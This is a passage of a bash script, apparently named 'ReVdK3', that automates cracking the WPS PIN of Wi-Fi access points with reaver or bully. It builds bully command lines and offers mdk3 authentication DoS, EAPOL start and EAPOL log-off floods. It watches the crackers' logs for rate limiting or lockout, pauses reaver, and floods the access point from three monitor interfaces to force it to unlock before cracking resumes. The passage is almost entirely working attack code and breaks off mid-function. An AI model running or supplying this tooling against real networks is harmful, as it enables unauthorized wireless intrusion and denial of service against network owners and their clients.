  465. if [ -z "$DISTANCE_BETWEEN_PINS" -a -n "$CHANNEL" ]; then
  466. echo "bully -b $MAC -c $CHANNEL -l 10 -S -v3 -B -F $MON1";
  467. BULLY_COMMAND_LINE=`echo "bully -b $MAC -c $CHANNEL -l 10 -S -v3 -B -F $MON1"`;
  468. echo;
  469. fi
  470. if [ -n "$DISTANCE_BETWEEN_PINS" -a -n "$CHANNEL" ]; then
  471. echo "bully -b $MAC -c $CHANNEL -1 $DISTANCE_BETWEEN_PINS,1 -l 10 -S -v3 -B -F $MON1";
  472. BULLY_COMMAND_LINE=`echo "bully -b $MAC -c $CHANNEL -1 "$DISTANCE_BETWEEN_PINS,1" -l 10 -S -v3 -B -F $MON1"`;
  473. echo ;
  474. fi
  475. if [ -z "$CHANNEL" -a -z "$DISTANCE_BETWEEN_PINS" ]; then
  476. echo "bully -b $MAC -l 10 -S -v3 -B -F $MON1";
  477. BULLY_COMMAND_LINE=`echo "bully -b $MAC -l 10 -S -v3 -B -F $MON1"`;
  478. echo ;
  479. fi
  480. fi
  481. echo -e "\e[34m\e[7m\e[1mWarning:\e[31m\e[0m\e[31m\e[1m
  482. Your mac address is not spoofed when using bully for proper functionality of
  483. bully.\e[30m\e[0m"
  484. echo ;
  485. read -p "Are you satisified with this configuration? if not, input 'r' and you will be returned to Bully's Configuration Wizard": SATISFIED_OPTION;
  486. if [ -e /etc/bully_tmp.txt ]; then
  487. rm -f /etc/bully_tmp.txt
  488. fi
  489. if [ -e /etc/aireplay_tmp.txt ]; then
  490. rm -f /etc/aireplay_tmp.txt
  491. fi
  492. clear
  493. done
  494. }
  495. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  496. echo -e "\e[36m\e[40m\e[1mx ReVdK3 preferred WPS Pin Crackers x\e[0m";
  497. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  498. echo -e "\e[36m\e[40m\e[1mx x\e[0m";
  499. echo -e "\e[36m\e[40m\e[1mx[1] Reaver v1.4 (legendary) x\e[0m";
  500. echo -e "\e[36m\e[40m\e[1mx Choose this option if you prefer to crack with reaver v1.4 x\e[0m";
  501. echo -e "\e[36m\e[40m\e[1mx............................................................................x\e[0m";
  502. echo -e "\e[36m\e[40m\e[1mx[2] Bully v1.0-22 x\e[0m";
  503. echo -e "\e[36m\e[40m\e[1mx Choose this option if you prefer to crack with bully v1.0-22 x\e[0m";
  504. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  505. echo ;
  506. read -p "Choose a preferred WPS Pin Cracker from above": WPS_PIN_CRACKER_OPTION
  507. while [[ $WPS_PIN_CRACKER_OPTION != @(1|2) ]]; do
  508. echo -e "\e[31m\e[1mIncorrect Option, input either '1' for reaver or '2' for bully\e[0m";
  509. echo ;
  510. read -p "Choose a preferred WPS Pin Cracker from above": WPS_PIN_CRACKER_OPTION
  511. echo ;
  512. done
  513. if [ $WPS_PIN_CRACKER_OPTION = 1 ]; then
  514. if [ ! -z "$REAVER_CHECK" ]; then
  515. clear;
  516. REAVER_COMMAND_LINE_OPTIONS
  517. else
  518. echo -e "\e[31m\e[1mreaver is not installed.Exiting script...\e[30m\e[0m";
  519. exit
  520. fi
  521. fi
  522. if [ $WPS_PIN_CRACKER_OPTION = 2 ]; then
  523. if [ ! -z "$BULLY_CHECK" ]; then
  524. clear;
  525. BULLY_COMMAND_LINE_OPTIONS
  526. else
  527. echo -e "\e[31m\e[1mbully is not installed.Exiting script...\e[30m\e[0m";
  528. exit
  529. fi
  530. fi
  531. function MDK3_MAIN_MENU {
  532. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  533. echo -e "\e[36m\e[40m\e[1mx WELCOME TO MDK3 FLOOD ATTACK MAIN MENU x\e[0m";
  534. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  535. echo -e "\e[36m\e[40m\e[1mx[1] Authentication DoS Flood Attack x\e[0m";
  536. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  537. echo -e "\e[36m\e[40m\e[1mx[2] EAPOL Start Flood Attack x\e[0m";
  538. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  539. echo -e "\e[36m\e[40m\e[1mx[3] EAPOL log off Flood Attack x\e[0m";
  540. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  541. echo -e "\e[36m\e[40m\e[1mx NOTE:This script will stop reaver once it detects the AP is locked and x\e[0m";
  542. echo -e "\e[36m\e[40m\e[1mx then flood the Access Point for the time period you choose after flooding x\e[0m";
  543. echo -e "\e[36m\e[40m\e[1mx reaver resumes.This process goes on until reaver finds the correct pin! x\e[0m";
  544. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  545. echo ;
  546. read -p "Which Attack You Prefer to carry out(Input No.)?": MDK3_MAIN_MENU_OPTION;
  547. while [[ "$MDK3_MAIN_MENU_OPTION" != @(1|2|3) ]]; do
  548. echo -e "\e[31m\e[1mIncorrect Option choosen, Please choose an option from the Main Menu!\e[0m";
  549. echo ;
  550. read -p "Which Attack You Prefer to carry out(Input No.)?": MDK3_MAIN_MENU_OPTION;
  551. done;
  552. if [ "$MDK3_MAIN_MENU_OPTION" = 1 ]; then
  553. clear
  554. AUTH_DOS_MAIN_MENU;
  555. fi
  556. if [ "$MDK3_MAIN_MENU_OPTION" = 2 ]; then
  557. clear
  558. EAPOL_START_FLOOD_ATTACK_MAIN_MENU;
  559. fi
  560. if [ "$MDK3_MAIN_MENU_OPTION" = 3 ]; then
  561. clear
  562. EAPOL_LOG_OFF_ATTACK_MAIN_MENU;
  563. fi
  564. }
  565. ###########################################################################
  566. function AUTH_DOS_MAIN_MENU {
  567. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  568. echo -e "\e[36m\e[40m\e[1mx Authentication DoS Flood Attack x\e[0m";
  569. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  570. echo -e "\e[36m\e[40m\e[1mxNOTE:This Attack will start flooding the AP with numerous fake clients x\e[0m";
  571. echo -e "\e[36m\e[40m\e[1mxuntil reaver detects that the AP is unlocked. The attack will restart when x\e[0m";
  572. echo -e "\e[36m\e[40m\e[1mxthe AP has locked itself again...the process goes on! x\e[0m";
  573. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  574. echo ;
  575. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  576. echo -e "\e[36m\e[40m\e[1mxThe Authentication DoS Flood Command line below will be used x\e[0m";
  577. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  578. echo ;
  579. AUTH_DOS_FLOOD_COMMAND=`echo -e "\e[36m\e[1mmdk3 $MON1 a -a $MAC -s 200 & mdk3 $MON2 a -a $MAC -s 200 & mdk3 "$MON3" a -a $MAC -s 200\e[0m"`;
  580. echo "$AUTH_DOS_FLOOD_COMMAND";
  581. echo ;
  582. read -p "To start the attack press ENTER to proceed or input 'r' to return to mdk3 main menu": RETURN_OPTION_FOR_AUTH_DOS_FOR_AUTH_DOS
  583. if [ "$RETURN_OPTION_FOR_AUTH_DOS_FOR_AUTH_DOS" = r ]; then
  584. clear
  585. MDK3_MAIN_MENU
  586. fi
  587. echo -e "\e[36m\e[1mStarting MDK3 Auth Flood Attack...\e[0m"
  588. sleep 3;
  589. clear
  590. if [ $WPS_PIN_CRACKER_OPTION = 1 ]; then
  591. REAVER & AIREPLAY & MDK3_FOR_REAVER & TAIL_FOR_REAVER;
  592. fi
  593. if [ $WPS_PIN_CRACKER_OPTION = 2 ]; then
  594. BULLY & AIREPLAY & MDK3_FOR_BULLY & TAIL_FOR_BULLY;
  595. fi
  596. }
  597. ###########################################################################
  598. function EAPOL_START_FLOOD_ATTACK_MAIN_MENU {
  599. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  600. echo -e "\e[36m\e[40m\e[1mx EAPOL Start Flood Attack x\e[0m";
  601. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  602. echo -e "\e[36m\e[40m\e[1mxNOTE:This Attack will start flooding the AP with numerous EAPOL start x\e[0m";
  603. echo -e "\e[36m\e[40m\e[1mxpackets until reaver detects that the AP is unlocked. The attack will x\e[0m";
  604. echo -e "\e[36m\e[40m\e[1mxrestart when the AP has locked itself again...the process goes on! x\e[0m";
  605. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  606. echo;
  607. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  608. echo -e "\e[36m\e[40m\e[1mxThe Authentication EAPOL Start Flood Attack Command line below will be usedx\e[0m";
  609. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  610. echo ;
  611. EAPOL_START_FLOOD_COMMAND=`echo -e "\e[36m\e[1mmdk3 $MON1 x 0 -t $MAC -n $ESSID -s 200 & mdk3 $MON2 x 0 -t $MAC -n $ESSID -s 200 & mdk3 $MON3 x 0 -t $MAC -n $ESSID -s 200\e[0m"`;
  612. echo "$EAPOL_START_FLOOD_COMMAND";
  613. read -p "To start the attack press ENTER to proceed or input 'r' to return to mdk3 main menu": RETURN_OPTION_FOR_EAPOL_START_FLOOD;
  614. if [ "$RETURN_OPTION_FOR_EAPOL_START_FLOOD" = r ]; then
  615. clear
  616. MDK3_MAIN_MENU;
  617. fi
  618. echo -e "\e[36m\e[1mStarting MDK3 EAPOL Start Flood Attack...\e[0m";
  619. sleep 3;
  620. if [ $WPS_PIN_CRACKER_OPTION = 1 ]; then
  621. REAVER & AIREPLAY & MDK3_FOR_REAVER & TAIL_FOR_REAVER;
  622. fi
  623. if [ $WPS_PIN_CRACKER_OPTION = 2 ]; then
  624. BULLY & AIREPLAY & MDK3_FOR_BULLY & TAIL_FOR_BULLY;
  625. fi
  626. }
  627. ###########################################################################
  628. function EAPOL_LOG_OFF_ATTACK_MAIN_MENU {
  629. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  630. echo -e "\e[36m\e[40m\e[1mx EAPOL Log Off Flood Attack x\e[0m";
  631. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  632. echo -e "\e[36m\e[40m\e[1mxNOTE:This Attack will start flooding the AP with numerous EAPOL log off x\e[0m";
  633. echo -e "\e[36m\e[40m\e[1mxpackets until reaver detects that the AP is unlocked. The attack will x\e[0m";
  634. echo -e "\e[36m\e[40m\e[1mxrestart when the AP has locked itself again...the process goes on! x\e[0m";
  635. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  636. echo;
  637. read -p "What is the MAC address of one of the client's connected?": TARGET_STATION
  638. while [[ "$TARGET_STATION" = @(|) ]]; do
  639. echo -e "\e[31m\e[1mYou cannot leave this field blank\e[0m";
  640. echo
  641. read -p "What is the MAC address of one of the client connected?": TARGET_STATION
  642. done
  643. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  644. echo -e "\e[36m\e[40m\e[1mxThe Authentication EAPOL Log Off Flood Attack Command line below will be usedx\e[0m";
  645. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  646. echo ;
  647. EAPOL_LOG_OFF_FLOOD_COMMAND=`echo -e "\e[36m\e[1mmdk3 $MON1 x 1 -t $MAC -s 200 -c $TARGET_STATION & mdk3 $MON2 x 1 -t $MAC -s 200 -c $TARGET_STATION & mdk3 $MON3 x 1 -t $MAC -s 200 -c $TARGET_STATION\e[0m"`;
  648. echo "$EAPOL_LOG_OFF_FLOOD_COMMAND";
  649. read -p "To start the attack press ENTER to proceed or input 'r' to return to mdk3 main menu": RETURN_OPTION_FOR_EAPOL_LOG_OFF_FLOOD;
  650. if [ "$RETURN_OPTION_FOR_EAPOL_LOG_OFF_FLOOD" = r ]; then
  651. clear
  652. MDK3_MAIN_MENU;
  653. fi
  654. echo -e "\e[36m\e[1mStarting MDK3 EAPOL Log Off Flood Attack...\e[0m";
  655. sleep 3;
  656. clear;
  657. if [ $WPS_PIN_CRACKER_OPTION = 1 ]; then
  658. REAVER & AIREPLAY & MDK3_FOR_REAVER & TAIL_FOR_REAVER;
  659. fi
  660. if [ $WPS_PIN_CRACKER_OPTION = 2 ]; then
  661. BULLY & AIREPLAY & MDK3_FOR_BULLY & TAIL_FOR_BULLY;
  662. fi
  663. }
  664. ##########################################################################
  665. function REAVER {
  666. while :;do
  667. echo y|$REAVER_COMMAND_LINE|tee -a /etc/reaver_tmp.txt >/dev/null
  668. echo "Please Wait..." > /etc/reaver_tmp.txt 2>/dev/null;
  669. sleep 5;
  670. done
  671. }
  672. ###########################################################################
  673. function BULLY {
  674.  
  675. while :; do
  676. stdbuf -o0 -e0 $BULLY_COMMAND_LINE|tee -a /etc/bully_tmp.txt >/dev/null
  677. echo "Please Wait..." > /etc/bully_tmp.txt 2>/dev/null
  678. sleep 5;
  679. done
  680. }
  681. ###########################################################################
  682. function MDK3_FOR_REAVER {
  683. while :; do
  684. MDK3_KILLALL_1=`ps -A|grep mdk3`
  685. VARIABLE_CHECK_FOR_RATE_LIMITING=`tail -1 /etc/reaver_tmp.txt 2>/dev/null`;
  686. SUCCESSIVE_EAPOL_FAILURES=`tail -4 /etc/reaver_tmp.txt 2>/dev/null|grep -F '[!] WARNING: 25 successive start failures'`;
  687. while [ "$VARIABLE_CHECK_FOR_RATE_LIMITING" = "[!] WARNING: Detected AP rate limiting, waiting 10 seconds before re-checking" -a -z "$MDK3_KILLALL_1" ]; do
  688. if [ "$MDK3_MAIN_MENU_OPTION" = 1 ]; then
  689. gnome-terminal --geometry=1x2 --title='Authentication Dos Flood Attack in progess' -e "mdk3 $MON1 a -a $MAC -s 200" & gnome-terminal --geometry=1x2 --title='Authentication Dos Flood Attack in progess' -e "mdk3 $MON2 a -a $MAC -s 200" & gnome-terminal -e --geometry=1x2 --title='Authentication Dos Flood Attack in progess' -e "mdk3 $MON3 a -a $MAC -s 200";
  690. ###gnome-terminal --geometry=1x2 --title='Authentication Dos Flood Attack in progess' -x bash -c "while :;do mdk3 $MON1 a -a $MAC -s 200;done" & gnome-terminal --geometry=1x2 --title='Authentication Dos Flood Attack in progess' -x bash -c "while :;do mdk3 $MON2 a -a $MAC -s 200;done" & gnome-terminal --geometry=1x2 --title='Authentication Dos Flood Attack in progess' -x bash -c "while :;do mdk3 $MON3 a -a $MAC -s 200;done";
  691. sleep 0.5;
  692. fi
  693. if [ "$MDK3_MAIN_MENU_OPTION" = 2 ]; then
  694. gnome-terminal --geometry=1x2 --title='EAPOL Start Flood Attack in progress' -e "mdk3 $MON1 x 0 -t $MAC -n "$ESSID" -s 200" & gnome-terminal --geometry=1x2 --title='EAPOL Start Flood Attack in progress' -e "mdk3 $MON2 x 0 -t $MAC -n "$ESSID" -s 200" & gnome-terminal --geometry=1x2 --title='EAPOL Start Flood Attack in progress' -e "mdk3 $MON3 x 0 -t $MAC -n "$ESSID" -s 200";
  695. ###gnome-terminal --geometry=1x2 --title='EAPOL Start Flood Attack in progress' -x bash -c "while :;do mdk3 $MON1 x 0 -t $MAC -n "$ESSID" -s 200;done" & gnome-terminal --geometry=1x2 --title='EAPOL Start Flood Attack in progress' -x bash -c "while :;do mdk3 $MON2 x 0 -t $MAC -n "$ESSID" -s 200;done" & gnome-terminal --geometry=1x2 --title='EAPOL Start Flood Attack in progress' -x bash -c "while :;do mdk3 $MON3 x 0 -t $MAC -n "$ESSID" -s 200;done";
  696. sleep 0.5;
  697. fi
  698. if [ "$MDK3_MAIN_MENU_OPTION" = 3 ]; then
  699. ###gnome-terminal --geometry=1x2 --title='EAPOL log off Flood Attack in progress' -x bash -c "while :;do mdk3 $MON1 x 1 -t $MAC -s 200 -c $TARGET_STATION;done" & gnome-terminal --geometry=1x2 --title='EAPOL log off Flood Attack in progress' -x bash -c "while :;do mdk3 $MON2 x 1 -t $MAC -s 200 -c $TARGET_STATION;done" & gnome-terminal --geometry=1x2 --title='EAPOL log off Flood Attack in progress' -x bash -c "while :;do mdk3 $MON3 x 1 -t $MAC -s 200 -c $TARGET_STATION;done";
  700. gnome-terminal --geometry=1x2 --title='EAPOL log off Flood Attack in progress' -e "mdk3 $MON1 x 1 -t $MAC -s 200 -c $TARGET_STATION" & gnome-terminal --geometry=1x2 --title='EAPOL log off Flood Attack in progress' -e "mdk3 $MON2 x 1 -t $MAC -s 200 -c $TARGET_STATION" & gnome-terminal --geometry=1x2 --title='EAPOL log off Flood Attack in progress' -e "mdk3 $MON3 x 1 -t $MAC -s 200 -c $TARGET_STATION";
  701. sleep 0.5;
  702. fi
  703. MDK3_KILLALL_1=`ps -A|grep mdk3`
  704. VARIABLE_CHECK_FOR_RATE_LIMITING=`tail -1 /etc/reaver_tmp.txt 2>/dev/null`;
  705. SUCCESSIVE_EAPOL_FAILURES=`tail -4 /etc/reaver_tmp.txt 2>/dev/null|grep -F '[!] WARNING: 25 successive start failures'`;
  706. done
  707. ###
  708. while [ "$SUCCESSIVE_EAPOL_FAILURES" = "[!] WARNING: 25 successive start failures" -a -z "$MDK3_KILLALL_1" ]; do
  709. killall -STOP reaver
  710. echo -e "\e[36m\e[1mReaver detected 25 successive eapol failures!, pausing reaver and running flood attacks for 60 second!\e[0m" >> /etc/reaver_tmp.txt ;
  711. if [ "$MDK3_MAIN_MENU_OPTION" = 1 ]; then
  712. gnome-terminal --geometry=1x2 --title='Authentication Dos Flood Attack in progess' -e "timeout 60 mdk3 $MON1 a -a $MAC -s 200" & gnome-terminal --geometry=1x2 --title='Authentication Dos Flood Attack in progess' -e "timeout 60 mdk3 $MON2 a -a $MAC -s 200" & gnome-terminal -e --geometry=1x2 --title='Authentication Dos Flood Attack in progess' -e "timeout 60 mdk3 $MON3 a -a $MAC -s 200";
  713. ##gnome-terminal --geometry=1x2 --title='Authentication Dos Flood Attack in progess' -x bash -c "while :; do mdk3 $MON1 a -a $MAC -s 200; done" & gnome-terminal --geometry=1x2 --title='Authentication Dos Flood Attack in progess' -x bash -c "while :;do mdk3 $MON2 a -a $MAC -s 200;done" & gnome-terminal --geometry=1x2 --title='Authentication Dos Flood Attack in progess' -x bash -c "while :;do mdk3 $MON3 a -a $MAC -s 200;done";
  714. sleep 60;
  715. fi
  716. if [ "$MDK3_MAIN_MENU_OPTION" = 2 ]; then
  717. gnome-terminal --geometry=1x2 --title='EAPOL Start Flood Attack in progress' -e "timeout 60 mdk3 $MON1 x 0 -t $MAC -n "$ESSID" -s 200" & gnome-terminal --geometry=1x2 --title='EAPOL Start Flood Attack in progress' -e " timeout 60 mdk3 $MON2 x 0 -t $MAC -n "$ESSID" -s 200" & gnome-terminal --geometry=1x2 --title='EAPOL Start Flood Attack in progress' -e "timeout 60 mdk3 $MON3 x 0 -t $MAC -n "$ESSID" -s 200";
  718. ###gnome-terminal --geometry=1x2 --title='EAPOL Start Flood Attack in progress' -x bash -c "while :;do mdk3 $MON1 x 0 -t $MAC -n "$ESSID" -s 200;done" & gnome-terminal --geometry=1x2 --title='EAPOL Start Flood Attack in progress' -x bash -c "while :;do mdk3 $MON2 x 0 -t $MAC -n "$ESSID" -s 200;done" & gnome-terminal --geometry=1x2 --title='EAPOL Start Flood Attack in progress' -x bash -c "while :;do mdk3 $MON3 x 0 -t $MAC -n "$ESSID" -s 200;done";
  719. sleep 60;
  720. fi
  721. if [ "$MDK3_MAIN_MENU_OPTION" = 3 ]; then
  722. gnome-terminal --geometry=1x2 --title='EAPOL log off Flood Attack in progress' -e "timeout 60 mdk3 $MON1 x 1 -t $MAC -s 200 -c $TARGET_STATION" & gnome-terminal --geometry=1x2 --title='EAPOL log off Flood Attack in progress' -e "timeout 60 mdk3 $MON2 x 1 -t $MAC -s 200 -c $TARGET_STATION" & gnome-terminal --geometry=1x2 --title='EAPOL log off Flood Attack in progress' -e "timeout 60 mdk3 $MON3 x 1 -t $MAC -s 200 -c $TARGET_STATION";
  723. ###gnome-terminal --geometry=1x2 --title='EAPOL log off Flood Attack in progress' -x bash -c "while :;do mdk3 $MON1 x 1 -t $MAC -s 200 -c $TARGET_STATION;done" & gnome-terminal --geometry=1x2 --title='EAPOL log off Flood Attack in progress' -x bash -c "while :;do mdk3 $MON2 x 1 -t $MAC -s 200 -c $TARGET_STATION;done" & gnome-terminal --geometry=1x2 --title='EAPOL log off Flood Attack in progress' -x bash -c "while :;do mdk3 $MON3 x 1 -t $MAC -s 200 -c $TARGET_STATION;done";
  724. sleep 60;
  725. fi
  726. killall -CONT reaver;
  727. VARIABLE_CHECK_FOR_RATE_LIMITING=`tail -1 /etc/reaver_tmp.txt 2>/dev/null`
  728. SUCCESSIVE_EAPOL_FAILURES=`tail -4 /etc/reaver_tmp.txt 2>/dev/null|grep -F '[!] WARNING: 25 successive start failures'`;
  729. MDK3_KILLALL_1=`ps -A|grep mdk3`
  730. done
  731. ###
  732. VARIABLE_CHECK_FOR_RATE_LIMITING=`tail -1 /etc/reaver_tmp.txt 2>/dev/null`
  733. SUCCESSIVE_EAPOL_FAILURES=`tail -4 /etc/reaver_tmp.txt 2>/dev/null|grep -F '[!] WARNING: 25 successive start failures'`;
  734. if [ "$VARIABLE_CHECK_FOR_RATE_LIMITING" != "[!] WARNING: Detected AP rate limiting, waiting 10 seconds before re-checking" -o "$SUCCESSIVE_EAPOL_FAILURES" = "[!] WARNING: 25 successive start failures" ]; then
  735. KILL_ALL_MDK3_EMULATORS_1=`ps -n 2>/dev/null|cut -d ' ' -f1,2,3,4,5,6,7,8,9,11,12,13,14,15|grep 'bash -c while :;do'|cut -d ' ' -f1|tr -s [:space:] ' '`
  736. ###for i in $KILL_ALL_MDK3_EMULATORS_1 ; do
  737. ###kill -9 "$i" &>/dev/null ;
  738. ###kill -9"$i" &>/dev/null ;
  739. ###killall mdk3 2>/dev/null
  740. ##done
  741. ##KILL_ALL_MDK3_EMULATORS_1=`ps -n 2>/dev/null|cut -d ' ' -f1,2,3,4,5,6,7,8,9,11,12,13,14,15|grep 'bash -c while :;do'|cut -d ' ' -f2|tr -s [:space:] ' '`
  742. ##for i in $KILL_ALL_MDK3_EMULATORS_1 ; do
  743. ##kill -9 "$i" &>/dev/null ;
  744. ##kill -9 "$i" &>/dev/null ;
  745. ##done
  746. killall mdk3 2>/dev/null
  747. fi
  748. done
  749. }
  750. ###########################################################################
  751. function MDK3_FOR_BULLY {
  752. while :; do
  753. MDK3_KILLALL_1=`ps -A|grep mdk3`
  754. VARIABLE_CHECK_FOR_RATE_LIMITING=`tail -1 /etc/bully_tmp.txt 2>/dev/null`;
  755. while [ "$VARIABLE_CHECK_FOR_RATE_LIMITING" = "[!] WPS lockout reported, sleeping for 10 seconds ..." -a -z "$MDK3_KILLALL_1" ]; do
  756. if [ "$MDK3_MAIN_MENU_OPTION" = 1 ]; then
  757. gnome-terminal --geometry=1x2 --title='Authentication Dos Flood Attack in progess' -e "mdk3 $MON1 a -a $MAC -s 200" & gnome-terminal --geometry=1x2 --title='Authentication Dos Flood Attack in progess' -e "mdk3 $MON2 a -a $MAC -s 200" & gnome-terminal -e --geometry=1x2 --title='Authentication Dos Flood Attack in progess' -e "mdk3 $MON3 a -a $MAC -s 200";
  758. ###gnome-terminal --geometry=1x2 --title='Authentication Dos Flood Attack in progess' -x bash -c "while :; do mdk3 $MON1 a -a $MAC -s 200; done" & gnome-terminal --geometry=1x2 --title='Authentication Dos Flood Attack in progess' -x bash -c "while :;do mdk3 $MON2 a -a $MAC -s 200;done" & gnome-terminal --geometry=1x2 --title='Authentication Dos Flood Attack in progess' -x bash -c "while :;do mdk3 $MON3 a -a $MAC -s 200;done";
  759. sleep 0.5;
  760. fi
  761. if [ "$MDK3_MAIN_MENU_OPTION" = 2 ]; then
  762. gnome-terminal --geometry=1x2 --title='EAPOL Start Flood Attack in progress' -e "mdk3 $MON1 x 0 -t $MAC -n "$ESSID" -s 200" & gnome-terminal --geometry=1x2 --title='EAPOL Start Flood Attack in progress' -e "mdk3 $MON2 x 0 -t $MAC -n "$ESSID" -s 200" & gnome-terminal --geometry=1x2 --title='EAPOL Start Flood Attack in progress' -e "mdk3 $MON3 x 0 -t $MAC -n "$ESSID" -s 200";
  763. ###gnome-terminal --geometry=1x2 --title='EAPOL Start Flood Attack in progress' -x bash -c "while :;do mdk3 $MON1 x 0 -t $MAC -n "$ESSID" -s 200;done" & gnome-terminal --geometry=1x2 --title='EAPOL Start Flood Attack in progress' -x bash -c "while :;do mdk3 $MON2 x 0 -t $MAC -n "$ESSID" -s 200;done" & gnome-terminal --geometry=1x2 --title='EAPOL Start Flood Attack in progress' -x bash -c "while :;do mdk3 $MON3 x 0 -t $MAC -n "$ESSID" -s 200;done";
  764. sleep 0.5;
  765. fi
  766. if [ "$MDK3_MAIN_MENU_OPTION" = 3 ]; then
  767. ###gnome-terminal --geometry=1x2 --title='EAPOL log off Flood Attack in progress' -x bash -c "while :;do mdk3 $MON1 x 1 -t $MAC -s 200 -c $TARGET_STATION;done" & gnome-terminal --geometry=1x2 --title='EAPOL log off Flood Attack in progress' -x bash -c "while :;do mdk3 $MON2 x 1 -t $MAC -s 200 -c $TARGET_STATION;done" & gnome-terminal --geometry=1x2 --title='EAPOL log off Flood Attack in progress' -x bash -c "while :;do mdk3 $MON3 x 1 -t $MAC -s 200 -c $TARGET_STATION;done";
  768. gnome-terminal --geometry=1x2 --title='EAPOL log off Flood Attack in progress' -e "timeout 60 mdk3 $MON1 x 1 -t $MAC -s 200 -c $TARGET_STATION" & gnome-terminal --geometry=1x2 --title='EAPOL log off Flood Attack in progress' -e "timeout 60 mdk3 $MON2 x 1 -t $MAC -s 200 -c $TARGET_STATION" & gnome-terminal --geometry=1x2 --title='EAPOL log off Flood Attack in progress' -e "timeout 60 mdk3 $MON3 x 1 -t $MAC -s 200 -c $TARGET_STATION";
  769. sleep 0.5;
  770. fi
  771. MDK3_KILLALL_1=`ps -A|grep mdk3`
  772. VARIABLE_CHECK_FOR_RATE_LIMITING=`tail -1 /etc/bully_tmp.txt 2>/dev/null`;
  773. done
  774. ###
  775. VARIABLE_CHECK_FOR_RATE_LIMITING=`tail -1 /etc/bully_tmp.txt 2>/dev/null`;
  776. if [ "$VARIABLE_CHECK_FOR_RATE_LIMITING" != "[!] WPS lockout reported, sleeping for 10 seconds ..." ]; then
